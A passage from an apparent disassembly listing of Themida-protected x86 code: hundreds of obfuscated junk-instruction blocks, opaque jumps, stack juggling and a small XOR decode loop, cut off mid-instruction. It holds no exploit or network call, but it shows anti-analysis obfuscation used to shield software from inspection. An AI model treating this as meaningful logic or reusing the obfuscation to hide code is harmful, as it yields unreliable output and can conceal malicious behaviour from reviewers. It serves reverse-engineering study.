loc_5ABD9E: ; CODE XREF: Themida_:0059F694j pop edx shr edx, 8 jmp loc_5A7BE8 ; --------------------------------------------------------------------------- loc_5ABDA7: ; CODE XREF: Themida_:005AB1C0j add edx, 38847B42h add edx, 0B2272C8Ch add esi, edx pop edx sub esp, 4 jmp loc_5ABD13 ; --------------------------------------------------------------------------- loc_5ABDBE: ; CODE XREF: Themida_:005AA468j mov eax, 6980359Ah dec eax jmp loc_5A393D ; --------------------------------------------------------------------------- loc_5ABDC9: ; CODE XREF: Themida_:0059EA1Dj ; Themida_:005AEBE5j mov [esp], edx push ebp mov ebp, esp jmp loc_599240 ; --------------------------------------------------------------------------- loc_5ABDD4: ; CODE XREF: Themida_:0059C976j mov cl, 5Fh push edx jmp loc_59FCE3 ; --------------------------------------------------------------------------- loc_5ABDDC: ; CODE XREF: Themida_:005A8D72j push ecx mov ecx, 1 and eax, ecx push dword ptr [esp] pop ecx jmp loc_599522 ; --------------------------------------------------------------------------- loc_5ABDED: ; CODE XREF: Themida_:0059DF50j and eax, edx push dword ptr [esp] push dword ptr [esp] jmp loc_59C11D ; --------------------------------------------------------------------------- loc_5ABDFA: ; CODE XREF: Themida_:0059D2B8j sub ebx, 6BAAC20h mov edx, ebx pop ebx xor edx, 47AE7FEAh jb loc_5A8EBD sub edx, 47EE0FBFh sub edx, 5D2B7F12h jl loc_5A4EC3 or edx, 7A82E57h mov ebx, edi mov ch, 73h loc_5ABE2B: ; CODE XREF: Themida_:005A993Ej jmp loc_5A9521 ; --------------------------------------------------------------------------- loc_5ABE30: ; CODE XREF: Themida_:0059D236j mov [esp], ebx jmp loc_59F8B8 ; --------------------------------------------------------------------------- loc_5ABE38: ; CODE XREF: Themida_:0059BA8Dj mov esi, 4381286Bh jmp loc_59C5F4 ; --------------------------------------------------------------------------- loc_5ABE42: ; CODE XREF: Themida_:005ADE37j and edi, 7537526Ch dec edi js loc_59FE5A push esi push edx mov edx, 3E3F3D69h push 0DE4390Ah jmp loc_5A8E7A ; --------------------------------------------------------------------------- loc_5ABE60: ; CODE XREF: Themida_:005AEFCDj push 27D2h mov [esp], ecx push 7045h jmp loc_5AD314 ; --------------------------------------------------------------------------- loc_5ABE72: ; CODE XREF: Themida_:005AF170j push ecx mov ecx, esp jmp loc_59CFC7 ; --------------------------------------------------------------------------- loc_5ABE7A: ; CODE XREF: Themida_:005AB53Dj mov eax, 6BA225FAh xor eax, 7B765575h xor edx, eax pop eax add ebp, edx pop edx push 6328h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] add esp, 4 jmp loc_5A8243 ; --------------------------------------------------------------------------- loc_5ABEA5: ; CODE XREF: Themida_:005A0C18j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, 6A6338DAh or eax, 4F753E07h add eax, 3E710C4Eh jl loc_59BFFB neg eax jns loc_59BA50 shl eax, 7 jp loc_59920E mov ecx, edi mov ebx, esi loc_5ABEDC: ; CODE XREF: Themida_:0059B788j mov ecx, [esp] add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5ABEEA: ; CODE XREF: Themida_:0059B6A4j xor eax, 0D468F5ADh jmp loc_59FB57 ; --------------------------------------------------------------------------- loc_5ABEF4: ; CODE XREF: Themida_:005A5C37j pop ecx mov ebx, [esp] jmp loc_5AC3AB ; --------------------------------------------------------------------------- loc_5ABEFD: ; CODE XREF: Themida_:005AC5E7j not dword ptr [esp] pop edi add edi, 0EFEF9CD4h add esi, edi pop edi add esi, 51173C29h push dword ptr [esp] pop edx jmp loc_5A97F6 ; --------------------------------------------------------------------------- loc_5ABF19: ; CODE XREF: Themida_:005A0F5Bj xor edi, 3E395C00h xor edi, 1AC103C5h add eax, edi pop edi pop ecx xor ebx, eax jmp loc_59FAA1 ; --------------------------------------------------------------------------- loc_5ABF30: ; CODE XREF: Themida_:00599830j ; Themida_:005AE158j mov ah, 3Dh or ah, 22h sub ah, 35h shr ah, 7 inc ah neg ah add ah, 2 sub bl, ah pop eax not bl xor bl, 4Fh sub al, bl pop ebx add al, 0BBh push bx jmp loc_5A6750 ; --------------------------------------------------------------------------- loc_5ABF56: ; CODE XREF: Themida_:0059FCDEj pop small word ptr [esp] push small 2C21h jmp loc_59C86D ; --------------------------------------------------------------------------- loc_5ABF63: ; CODE XREF: Themida_:005A4059j neg edx jbe loc_5AF696 jmp loc_5A2550 ; --------------------------------------------------------------------------- mov ecx, 4 mov edx, eax loc_5ABF77: ; CODE XREF: Themida_:0059EE44j push ebx mov bh, 1 push eax push ecx mov cl, 1Bh not cl inc cl jl loc_59AA7C jmp loc_5AC2C2 ; --------------------------------------------------------------------------- pop ecx jmp loc_5A0844 ; --------------------------------------------------------------------------- inc ebx loc_5ABF94: ; CODE XREF: Themida_:0059EBF9j push esp pop dword ptr [esp] jmp loc_5A4357 ; --------------------------------------------------------------------------- loc_5ABF9D: ; CODE XREF: Themida_:0059C3FEj sub edx, 174F6DB7h sub edx, ebx add edx, 174F6DB7h sub edx, 355C4354h mov ebx, [esp] add esp, 4 jmp loc_5A6C5E ; --------------------------------------------------------------------------- loc_5ABFBF: ; CODE XREF: Themida_:0059B1E6j mov [esp], ebp push 6D0F1873h jmp loc_5AA0BE ; --------------------------------------------------------------------------- loc_5ABFCC: ; CODE XREF: Themida_:005ACF1Cj not eax inc eax shr eax, 3 dec eax not eax shr eax, 1 push 3630h mov [esp], edi push eax mov eax, 0FD116D3h shr eax, 5 shr eax, 6 jmp loc_59B69D ; --------------------------------------------------------------------------- loc_5ABFF0: ; CODE XREF: Themida_:005A72E3j pop edx shl esi, 3 sub esi, 0FAEBE748h add edi, esi mov esi, [esp] add esp, 4 add ecx, edi pop edi pop ebx jmp loc_59E409 ; --------------------------------------------------------------------------- loc_5AC00E: ; DATA XREF: Themida_:00598704o mov cx, [esp] push ebx push esp pop ebx jmp loc_5ACD41 ; --------------------------------------------------------------------------- loc_5AC01A: ; CODE XREF: Themida_:005AAEACj mov [esp], si push small word ptr [esp+2] mov si, [esp] push ecx push esp pop ecx add ecx, 4 jmp loc_5A6790 ; --------------------------------------------------------------------------- loc_5AC035: ; CODE XREF: Themida_:0059F0B2j add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp shr ecx, 0 or eax, eax jz loc_5A6A7C push ebx push 176Dh jmp loc_59CF14 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_59B07F ; --------------------------------------------------------------------------- loc_5AC063: ; CODE XREF: Themida_:005A908Fj xchg bl, al jmp loc_59A6EB ; --------------------------------------------------------------------------- mov ax, [esp] push 2ABAh mov [esp], edi push esp mov edi, [esp] jmp loc_5A273E ; --------------------------------------------------------------------------- loc_5AC07F: ; CODE XREF: Themida_:005AD744j xor eax, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push 0B5h mov [esp], edi push 5C8Fh mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 jmp loc_5A8AD5 ; --------------------------------------------------------------------------- loc_5AC0B4: ; DATA XREF: Themida_:00598868o lodsb xor al, bl push ecx push esp pop ecx push esi push edx mov edx, 4 mov esi, edx pop edx add ecx, esi pop esi push edx mov edx, 4 sub ecx, edx pop edx xchg ecx, [esp] pop esp mov [esp], edx jmp loc_5A895D ; --------------------------------------------------------------------------- loc_5AC0DC: ; CODE XREF: Themida_:005ACC42j pop edi jmp loc_5AD3B5 ; --------------------------------------------------------------------------- loc_5AC0E2: ; CODE XREF: Themida_:00598F21j mov [esp], eax push 4BFh mov [esp], ecx mov cl, bl mov ah, cl pop ecx push eax mov ah, ch mov bl, ah pop eax mov ch, ah pop eax xor ch, 3Dh push ecx jmp loc_5A7FE5 ; --------------------------------------------------------------------------- loc_5AC104: ; CODE XREF: Themida_:005A55F9j mov edx, [esp] jmp loc_5A2573 ; --------------------------------------------------------------------------- loc_5AC10C: ; CODE XREF: Themida_:00598E82j pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push edx pop ebx mov edx, [esp] add esp, 4 loc_5AC124: ; CODE XREF: Themida_:005A52B3j push ebp mov ebp, esp jmp loc_5A66D9 ; --------------------------------------------------------------------------- loc_5AC12C: ; CODE XREF: Themida_:0059F48Cj mov ah, 76h push 1B9Ch mov [esp], ecx jmp loc_5AAC87 ; --------------------------------------------------------------------------- loc_5AC13B: ; CODE XREF: Themida_:005AC710j mov esi, 3E87882h jmp loc_599484 ; --------------------------------------------------------------------------- loc_5AC145: ; CODE XREF: Themida_:005A34ADj mov [esp], edx jmp loc_5A9C9D ; --------------------------------------------------------------------------- loc_5AC14D: ; CODE XREF: Themida_:005AE709j push edx mov edx, 0B9234C30h add ebx, 495E1232h sub ebx, edx sub ebx, 495E1232h pop edx jmp loc_5A5F19 ; --------------------------------------------------------------------------- loc_5AC167: ; CODE XREF: Themida_:0059E552j or edx, eax shl edx, 1 push 3247h jmp loc_599A8A ; --------------------------------------------------------------------------- loc_5AC175: ; CODE XREF: Themida_:005A0B38j add ebp, 36E553C3h sub ebp, 31B73E8Eh add ebp, ecx add ebp, 31B73E8Eh jmp loc_599792 ; --------------------------------------------------------------------------- loc_5AC18E: ; CODE XREF: Themida_:0059EEA5j push esi mov si, 1AB2h shr si, 3 sub si, 0FFFFh push 4DB1h mov [esp], edi mov di, 6465h jmp loc_5A4720 ; --------------------------------------------------------------------------- loc_5AC1AD: ; CODE XREF: Themida_:0059F775j sub edi, 0FE3563Fh sub edi, 748637EBh add edi, eax push eax mov eax, 1D8C6299h sub esp, 4 mov [esp], edi mov edi, 502A37FDh jmp loc_5A8C4D ; --------------------------------------------------------------------------- loc_5AC1D4: ; CODE XREF: Themida_:0059FEEEj shr ebx, 5 jns loc_5A72FE shl ebx, 3 add ebx, 0CE6A6F7Bh jmp loc_59EB3B ; --------------------------------------------------------------------------- loc_5AC1EB: ; CODE XREF: Themida_:005A1AC8j inc ebx jp loc_5A8459 xor ebx, 73DA5DECh jl loc_5A0E5B push edi pop esi loc_5AC200: ; CODE XREF: Themida_:005A0E33j ; Themida_:loc_5A411Aj pop edx xchg edi, [esp] mov esp, [esp] jmp loc_59BDF3 ; --------------------------------------------------------------------------- loc_5AC20C: ; CODE XREF: Themida_:005AA311j xor ebx, [esp] mov esp, [esp] mul cl movzx cx, ah push small 194h mov [esp], cx movzx cx, al jmp loc_5A88FB ; --------------------------------------------------------------------------- loc_5AC229: ; CODE XREF: Themida_:005AE1AEj add esp, 4 jmp loc_5A2D16 ; --------------------------------------------------------------------------- loc_5AC231: ; CODE XREF: Themida_:005A07FBj mov [esp], ecx jmp loc_5A7BA4 ; --------------------------------------------------------------------------- loc_5AC239: ; CODE XREF: Themida_:0059BBECj push edx push ebx mov ebx, 10226405h add ebx, 56B61F00h jmp loc_5AC4C9 ; --------------------------------------------------------------------------- loc_5AC24B: ; CODE XREF: Themida_:005A0DE9j push ebp mov ebp, 5FCC1AD6h not ebp shr ebp, 3 jns loc_5AE115 add ebp, 600660AAh jmp loc_599131 ; --------------------------------------------------------------------------- mov ax, [esp] push 37A9h mov [esp], edi push esp mov edi, [esp] jmp loc_59DBFD ; --------------------------------------------------------------------------- loc_5AC27C: ; CODE XREF: Themida_:005A703Ej mov ebp, 38E64255h add eax, ebp jmp loc_5989E6 ; --------------------------------------------------------------------------- loc_5AC288: ; CODE XREF: Themida_:0059AA9Cj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_5AB4F0 ; --------------------------------------------------------------------------- loc_5AC2A3: ; CODE XREF: Themida_:0059FA89j add edi, ecx mov ecx, [esp] add esp, 4 sub edx, edi jmp loc_5A12EA ; --------------------------------------------------------------------------- loc_5AC2B5: ; CODE XREF: Themida_:0059F2C8j push esi mov esi, 0D6CCF76h add ebx, esi jmp loc_5AFBA2 ; --------------------------------------------------------------------------- loc_5AC2C2: ; CODE XREF: Themida_:00599B05j ; Themida_:005ABF88j and ecx, 17FD4A97h dec ecx jnp loc_59AFFD jmp loc_5A3830 ; --------------------------------------------------------------------------- push ebx push edx pop ebx pop edx mov cl, dl loc_5AC2DA: ; CODE XREF: Themida_:005AC645j mov eax, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A6BC1 ; --------------------------------------------------------------------------- loc_5AC306: ; CODE XREF: Themida_:0059E703j pop ebp jmp loc_59B655 ; --------------------------------------------------------------------------- loc_5AC30C: ; CODE XREF: Themida_:0059FA03j add esp, 4 push ebp mov ebp, 4 add esi, ebp pop ebp add esi, 4 jmp loc_59BD74 ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] pop eax push 7950h mov [esp], eax jmp loc_5A3637 ; --------------------------------------------------------------------------- loc_5AC33B: ; CODE XREF: Themida_:005A68C9j mov ebx, 0 jmp loc_5AD592 ; --------------------------------------------------------------------------- loc_5AC345: ; CODE XREF: Themida_:0059B512j pop ebp add ebp, edx mov edx, [esp] push edi mov edi, esp jmp loc_59FF22 ; --------------------------------------------------------------------------- loc_5AC353: ; CODE XREF: Themida_:loc_5A6100j ; Themida_:005AE57Dj push ebx sub dword ptr [esp], 35836ECFh jmp loc_5AA732 ; --------------------------------------------------------------------------- loc_5AC360: ; CODE XREF: Themida_:005A7C1Bj push eax mov eax, 1 jmp loc_5A3BD7 ; --------------------------------------------------------------------------- loc_5AC36B: ; CODE XREF: Themida_:005A8AECj push 4BF4h mov [esp], ecx jmp loc_5AE643 ; --------------------------------------------------------------------------- loc_5AC378: ; CODE XREF: Themida_:0059CD75j jmp loc_5AAB0C ; --------------------------------------------------------------------------- loc_5AC37D: ; CODE XREF: Themida_:005A4941j add ecx, 4 add ecx, 4 jmp loc_5A9D66 ; --------------------------------------------------------------------------- loc_5AC38E: ; CODE XREF: Themida_:0059C088j ; Themida_:005ABC84j pop esp push ecx push 4 jmp loc_5A3E56 ; --------------------------------------------------------------------------- loc_5AC39A: ; CODE XREF: Themida_:005A621Fj xor ecx, 0ECF79CDh push esi mov esi, 1A752F21h jmp loc_5A8164 ; --------------------------------------------------------------------------- loc_5AC3AB: ; CODE XREF: Themida_:005ABEF8j add esp, 4 push ebx jmp loc_5A53F4 ; --------------------------------------------------------------------------- loc_5AC3B4: ; CODE XREF: Themida_:005A5CC3j mov cl, ah mov dh, cl pop ecx mov bh, dh mov edx, [esp] add esp, 4 jmp loc_5A7679 ; --------------------------------------------------------------------------- loc_5AC3C9: ; CODE XREF: Themida_:005A6D21j ; Themida_:005AB342j pop dword ptr [esp] jmp loc_5A5646 ; --------------------------------------------------------------------------- loc_5AC3D1: ; CODE XREF: Themida_:0059FB5Aj xor eax, edi push dword ptr [esp] pop edi add esp, 4 add esi, 37C4FD1h add esi, eax push ebp mov ebp, 1DF47B0Bh add ebp, 0BCC1B20h add ebp, 0D9BBB9A6h jmp loc_5A978B ; --------------------------------------------------------------------------- loc_5AC3FC: ; CODE XREF: Themida_:005A3860j add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 push 4031h jmp loc_59C2D2 ; --------------------------------------------------------------------------- loc_5AC417: ; CODE XREF: Themida_:0059FB23j push ebx mov ebx, 570E4A84h push ecx mov ecx, 3D0A4868h add ebx, 56A809AEh add ebx, ecx sub ebx, 56A809AEh mov ecx, [esp] jmp loc_59E527 ; --------------------------------------------------------------------------- loc_5AC439: ; CODE XREF: Themida_:005AE5EFj xor eax, 3ED86D23h add esi, eax pop eax neg esi push ebp mov ebp, 53267D82h sub esi, ebp pop ebp sub edi, esi pop esi add edi, ebx add edi, 5C300C75h sub edi, 2E7F2384h push dword ptr [esp] mov ebx, [esp] add esp, 4 push edx mov edx, esp jmp loc_59E0D0 ; --------------------------------------------------------------------------- loc_5AC46E: ; CODE XREF: Themida_:005A4B1Ej mov ecx, [esp] add esp, 4 push ecx mov ecx, 33F51E6Fh jmp loc_5AF36B ; --------------------------------------------------------------------------- loc_5AC47F: ; CODE XREF: Themida_:00599F20j or [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AC489: ; CODE XREF: Themida_:005A70A8j pop ecx shr dh, 3 jmp loc_5A082F ; --------------------------------------------------------------------------- loc_5AC492: ; CODE XREF: Themida_:005A2B82j mov edx, esp jmp loc_5AF41D ; --------------------------------------------------------------------------- loc_5AC499: ; CODE XREF: Themida_:005A5A93j push esp pop edi jmp loc_599682 ; --------------------------------------------------------------------------- loc_5AC4A0: ; CODE XREF: Themida_:005A9B04j inc eax jp loc_5AEEB1 shl eax, 3 jmp loc_5A58E7 ; --------------------------------------------------------------------------- mov [esp], edx push edx loc_5AC4B3: ; CODE XREF: Themida_:005A1AEDj pop ecx jmp loc_5AED27 ; --------------------------------------------------------------------------- loc_5AC4B9: ; CODE XREF: Themida_:005AF128j push ecx mov ecx, 3CA93111h sub ebp, ecx pop ecx not ebp jmp loc_59B31B ; --------------------------------------------------------------------------- loc_5AC4C9: ; CODE XREF: Themida_:005AC246j neg ebx jo loc_5A46CC xor ebx, 99277CFFh mov edx, ebx pop ebx add ecx, edx pop edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push esi mov esi, 4EE6203Dh mov eax, 0B119DFC7h jmp loc_59A195 ; --------------------------------------------------------------------------- loc_5AC500: ; CODE XREF: Themida_:005AC76Cj add esi, 5161211Ch mov ebp, esi mov esi, [esp] add esp, 4 jmp loc_59CBD0 ; --------------------------------------------------------------------------- loc_5AC513: ; CODE XREF: Themida_:005A74E5j mov ebx, 10883675h not ebx sub ebx, 1 shl ebx, 1 neg ebx not ebx push edx jmp loc_5A9EDC ; --------------------------------------------------------------------------- loc_5AC529: ; CODE XREF: Themida_:loc_5A0409j push edx jmp loc_59BAAB ; --------------------------------------------------------------------------- loc_5AC52F: ; CODE XREF: Themida_:0059BE54j ; Themida_:005A3522j sub edx, 3CB32024h pop ebx sub esi, edx pop edx add esi, 0FDADF70Ah mov ebx, esi mov esi, [esp] add esp, 4 add eax, 68197670h add eax, ebx sub eax, 68197670h pop ebx push eax jmp loc_5A2863 ; --------------------------------------------------------------------------- loc_5AC55A: ; CODE XREF: Themida_:005A5980j sub ebp, 1 sub ebp, 32298F3Bh add eax, ebp push dword ptr [esp] pop ebp jmp loc_59A324 ; --------------------------------------------------------------------------- loc_5AC571: ; CODE XREF: Themida_:005ADA6Fj push eax mov eax, 322D4EF9h jmp loc_5A51E2 ; --------------------------------------------------------------------------- loc_5AC57C: ; CODE XREF: Themida_:005AEE8Fj add edx, 4C41089Dh pop ebp add edx, 2 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] xor [esp], si xor si, [esp] xor [esp], si jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AC5A3: ; CODE XREF: Themida_:0059DB77j add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edx mov dh, 0Fh push ebx mov bl, dh push eax jmp loc_5AD7E8 ; --------------------------------------------------------------------------- loc_5AC5C1: ; CODE XREF: Themida_:0059D432j sub dword ptr [esp], 66851F20h pop edx add edx, 66851F20h pop ebx sub esi, 51173C29h sub esi, 1DC80638h sub esi, edx push edi mov edi, 2DD86965h neg edi push edi jmp loc_5ABEFD ; --------------------------------------------------------------------------- loc_5AC5EC: ; CODE XREF: Themida_:005A3267j push dword ptr [esp] pop ebp add esp, 4 add ebx, ecx add ebx, 26A155A7h push ecx mov ecx, 0 push ebp mov ebp, 463F23E3h add ecx, ebp pop ebp add ecx, ebx sub ecx, 463F23E3h push ebx mov ebx, 0 add ebx, ecx mov eax, [ebx] pop ebx jmp loc_5A07EE ; --------------------------------------------------------------------------- loc_5AC622: ; CODE XREF: Themida_:0059A0C9j ; Themida_:005AC98Aj pop edx xor ebx, 0B463EC6Eh jmp loc_5A198F ; --------------------------------------------------------------------------- loc_5AC62E: ; CODE XREF: Themida_:005AD522j push edx mov edx, 3C3F46A4h push eax mov eax, 56FFFF7h sub edx, eax jmp loc_59F36E ; --------------------------------------------------------------------------- loc_5AC641: ; CODE XREF: Themida_:005AF8DDj pop edx push dword ptr [esp] jmp loc_5AC2DA ; --------------------------------------------------------------------------- loc_5AC64A: ; CODE XREF: Themida_:005A8483j ; Themida_:005A9BAAj neg ecx or ecx, 40D61BFEh xor ecx, 0C0D69BFBh jmp loc_5AA4F3 ; --------------------------------------------------------------------------- loc_5AC65D: ; CODE XREF: Themida_:0059D454j pop eax push esi mov esi, 78BE783Eh neg esi xor esi, 2A980B78h not esi or esi, 55DB3DD3h add esi, 9D4074CEh xor ebx, esi pop esi mov edi, ebx pop ebx jmp loc_59D3AA ; --------------------------------------------------------------------------- byte_5AC685 db 31h, 3Ch, 24h ; DATA XREF: Themida_:00598828o dd 31243C33h, 0EC83243Ch, 240C8904h, 266368h, 0DB78E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AC69E: ; CODE XREF: Themida_:005A4492j pop ebx jmp loc_59D62C ; --------------------------------------------------------------------------- loc_5AC6A4: ; CODE XREF: Themida_:005A20E3j sub eax, 0B6566CC3h add ebp, eax jmp loc_5A0DEE ; --------------------------------------------------------------------------- loc_5AC6B0: ; CODE XREF: Themida_:005A1D89j mov ebp, esp push ebx mov ebx, 2BCD1DF6h sub ebx, 61075AFBh add ebx, 353A3D09h add ebp, ebx pop ebx push 59C7h mov [esp], ebx mov ebx, 1825047Ch or ebx, 3F300E40h jo loc_5A76D1 sub ebx, 39B30B1Fh xor ebx, 167F5288h jnp loc_5A052A dec ebx xor ebx, 13FD51D0h mov ah, 0D8h loc_5AC6FC: ; CODE XREF: Themida_:0059A579j push dword ptr [esp] pop edi push 3740h jmp loc_59D33B ; --------------------------------------------------------------------------- loc_5AC70A: ; CODE XREF: Themida_:005A8612j sub esp, 4 mov [esp], esi jmp loc_5AC13B ; --------------------------------------------------------------------------- loc_5AC715: ; CODE XREF: Themida_:0059CD19j mov [esp], ebp push esp jmp loc_59FF57 ; --------------------------------------------------------------------------- loc_5AC71E: ; CODE XREF: Themida_:0059E765j push 49C8h jmp loc_59BD5B ; --------------------------------------------------------------------------- loc_5AC728: ; CODE XREF: Themida_:005A8535j sub edi, edx push ebp mov ebp, 67CE228Dh add edi, ebp mov ebp, [esp] add esp, 4 jmp loc_59A571 ; --------------------------------------------------------------------------- loc_5AC740: ; CODE XREF: Themida_:005AD1A7j mov esi, ebx pop ebx push 380Ch mov [esp], edi mov edi, 52832B0h shr edi, 3 jmp loc_5A99DC ; --------------------------------------------------------------------------- loc_5AC758: ; CODE XREF: Themida_:005AD235j pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], esi mov esi, 9D75AC0h dec esi js loc_5AC500 add esi, 5161211Ch mov ebp, esi mov esi, [esp] add esp, 4 sub edi, 1FEA3B7Bh sub edi, 65AF539Fh jmp loc_59DCEB ; --------------------------------------------------------------------------- loc_5AC791: ; CODE XREF: Themida_:005A66C9j xor edi, [esp] mov esp, [esp] jmp loc_5A74F7 ; --------------------------------------------------------------------------- loc_5AC79C: ; CODE XREF: Themida_:0059D4DEj push ebp jmp loc_5AFDC3 ; --------------------------------------------------------------------------- loc_5AC7A2: ; CODE XREF: Themida_:005A2AADj add [esp+4], ecx add dword ptr [esp+4], 638782Dh mov ecx, [esp] jmp loc_5A7DA2 ; --------------------------------------------------------------------------- loc_5AC7B6: ; CODE XREF: Themida_:0059C377j jmp loc_5A2545 ; --------------------------------------------------------------------------- loc_5AC7BB: ; CODE XREF: Themida_:0059EE09j mov ebx, esp jmp loc_5A3968 ; --------------------------------------------------------------------------- loc_5AC7C2: ; CODE XREF: Themida_:005A9E12j imul cl movzx cx, ah jmp loc_5AD02A ; --------------------------------------------------------------------------- loc_5AC7CD: ; CODE XREF: Themida_:005ABCE3j sub edi, 1179667Eh jmp loc_5AE7C5 ; --------------------------------------------------------------------------- loc_5AC7D8: ; CODE XREF: Themida_:005A03C4j add esp, 4 jmp loc_5AAF09 ; --------------------------------------------------------------------------- loc_5AC7E0: ; CODE XREF: Themida_:0059B52Dj pop bx push edx mov dh, ah mov bl, dh mov edx, [esp] add esp, 4 pop eax and bl, 6Bh jb loc_5AB5A7 and bl, 0F8h ja loc_5A7CE0 or bl, 95h jmp loc_5A3E2A ; --------------------------------------------------------------------------- mov [esp], edi mov edx, edi push ebp loc_5AC80E: ; CODE XREF: Themida_:005A7CBCj ; Themida_:005AE322j or edi, 4CF072AFh jmp loc_5A4206 ; --------------------------------------------------------------------------- loc_5AC819: ; CODE XREF: Themida_:0059B37Fj mov ebx, 152BDh sub esi, ebx pop ebx add eax, 77316277h sub eax, esi jmp loc_59C223 ; --------------------------------------------------------------------------- loc_5AC82D: ; CODE XREF: Themida_:005A4F89j mov ebx, 0B3D4FEDh or ebx, 61F211FFh dec ebx jmp loc_5A50E2 ; --------------------------------------------------------------------------- loc_5AC83E: ; CODE XREF: Themida_:005A742Cj mov edi, [esp] add esp, 4 jmp loc_5AC89B ; --------------------------------------------------------------------------- loc_5AC84C: ; CODE XREF: Themida_:005A3FBEj add edx, edi pop edi jmp loc_5AA5A8 ; --------------------------------------------------------------------------- loc_5AC854: ; CODE XREF: Themida_:0059BF4Ej sub esp, 4 mov [esp], ecx mov ch, 0CCh xor ch, 0D6h jmp loc_5A2C94 ; --------------------------------------------------------------------------- loc_5AC864: ; CODE XREF: Themida_:005A6A4Fj push dword ptr [esp+4] push dword ptr [esp] jmp loc_59BDFD ; --------------------------------------------------------------------------- loc_5AC870: ; CODE XREF: Themida_:005A3123j sub edi, 0DD307630h sub ebp, edi mov edi, [esp] add esp, 4 jmp loc_5A2AFC ; --------------------------------------------------------------------------- loc_5AC886: ; CODE XREF: Themida_:005ABACAj shl ecx, 8 js loc_5A4DC5 add ecx, 2824304h mov edx, ecx mov ebx, esi mov esi, ebx loc_5AC89B: ; CODE XREF: Themida_:005AC847j add esi, ecx pop ecx xor esi, [esp] jmp loc_59DA56 ; --------------------------------------------------------------------------- loc_5AC8A6: ; DATA XREF: Themida_:00598750o push small 585h jmp loc_5A4CA0 ; --------------------------------------------------------------------------- loc_5AC8AF: ; CODE XREF: Themida_:005A2CD2j jmp loc_59A176 ; --------------------------------------------------------------------------- loc_5AC8B4: ; CODE XREF: Themida_:005A1DBBj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AC8B9: ; CODE XREF: Themida_:00599FEDj sub edi, 4 push edi jmp loc_59A3B8 ; --------------------------------------------------------------------------- loc_5AC8C5: ; CODE XREF: Themida_:0059A6AAj ; Themida_:0059F304j add esp, 2 pop small word ptr [esp] push small 4691h mov [esp], cx push small 340Fh jmp loc_5A8048 ; --------------------------------------------------------------------------- loc_5AC8DD: ; CODE XREF: Themida_:0059D865j sub esi, 7446563Eh push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_5ADF5E ; --------------------------------------------------------------------------- loc_5AC905: ; CODE XREF: Themida_:005A05F8j mov bh, 55h add ch, bh pop ebx xor al, ch jmp loc_59E9F4 ; --------------------------------------------------------------------------- loc_5AC911: ; CODE XREF: Themida_:0059ED95j mov eax, edx mov ebp, eax jmp loc_5A6C74 ; --------------------------------------------------------------------------- loc_5AC91A: ; CODE XREF: Themida_:005A8115j pop esp jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AC920: ; CODE XREF: Themida_:005A7906j inc eax push ebp mov ebp, 3D785012h jmp loc_5AD57C ; --------------------------------------------------------------------------- loc_5AC92C: ; CODE XREF: Themida_:0059CB12j ; Themida_:005A42DDj jmp loc_5ADED5 ; --------------------------------------------------------------------------- loc_5AC931: ; CODE XREF: Themida_:005A730Dj push ecx mov ecx, esp add ecx, 4 jmp loc_598BBE ; --------------------------------------------------------------------------- mov cx, [esp] push 59A2h mov [esp], eax jmp loc_5AEC2B ; --------------------------------------------------------------------------- loc_5AC950: ; CODE XREF: Themida_:005A8D27j sub esp, 4 mov [esp], ecx jmp loc_5992CC ; --------------------------------------------------------------------------- loc_5AC95E: ; CODE XREF: Themida_:005AF957j xor dh, 0EAh xor al, dh pop edx sub esp, 4 jmp loc_59D9A3 ; --------------------------------------------------------------------------- loc_5AC96F: ; CODE XREF: Themida_:005A9C98j pop ebx add ebx, 6CAA3643h jbe loc_5AFA1E shl ebx, 1 jnp loc_5AF0BF add ebx, 26680828h jb loc_5AC622 loc_5AC990: ; CODE XREF: Themida_:005A5BE3j add esp, 4 add esi, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5AD8D8 ; --------------------------------------------------------------------------- loc_5AC9AC: ; CODE XREF: Themida_:005AD764j push ecx mov ecx, esp add ecx, 4 jmp loc_59A697 ; --------------------------------------------------------------------------- loc_5AC9BA: ; CODE XREF: Themida_:0059CDB8j add [esp+4], eax add dword ptr [esp+4], 4B62387Fh pop eax pop ebx push 14ABh mov [esp], edi push ebp jmp loc_599BD9 ; --------------------------------------------------------------------------- loc_5AC9D6: ; CODE XREF: Themida_:0059C309j mov edx, [esp] push ebx push esp jmp loc_5AAA49 ; --------------------------------------------------------------------------- loc_5AC9E0: ; CODE XREF: Themida_:005AA27Bj add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp add ebx, ebp pop ebp sub esp, 4 mov [esp], edx mov edx, 4 add ebx, 361D163Bh add ebx, edx jmp loc_5A3A21 ; --------------------------------------------------------------------------- loc_5ACA08: ; CODE XREF: Themida_:005A36C0j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add 